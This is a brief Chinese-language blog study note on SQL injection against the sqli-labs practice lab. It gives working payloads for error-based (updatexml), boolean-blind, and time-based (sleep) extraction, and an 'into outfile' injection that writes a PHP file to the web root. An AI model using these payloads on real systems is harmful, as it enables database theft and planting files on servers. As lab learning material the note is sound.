SQL注入 笔记

updatexml函数

  select updatexml(1,concat(0x7e,(select database()),0x7e),1)  利用语法报错,在中间要替换的信息里输入错误的语法字符,这样报错的时候就会把错误语法字符包含的信息以报错的形式报出

http://10.1.2.5:10631/sqli/Less-3/?id=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23

布尔盲注

substr(参数,1,1) 代表参数的第一位是什么

select ascii(substr(database(),1,1)) > 1 通过判断真假确定ascii的取值范围

http://10.1.2.5:10631/sqli/Less-8/?id=1' and length(database())=8%23

时间型盲注

利用sleep()函数判断是什么漏洞的注入

select if (1,sleep(2),1) 如果条件成立休眠两秒输出1

http://10.1.2.5:10631/sqli/Less-10/?id=1" and if(ascii(substr(current_user(),1,1))>1,sleep(5),1) %23  查询当前页面的用户名首字母的ASCII码

http://10.1.2.5:10631/sqli/Less-7/?id=1')) union select 'w','o','w' into outfile 'c:\www\llufei.php' %23   向目录写入文件 可以穿字符串

原文地址:https://www.cnblogs.com/Blizzard-player/p/8885529.html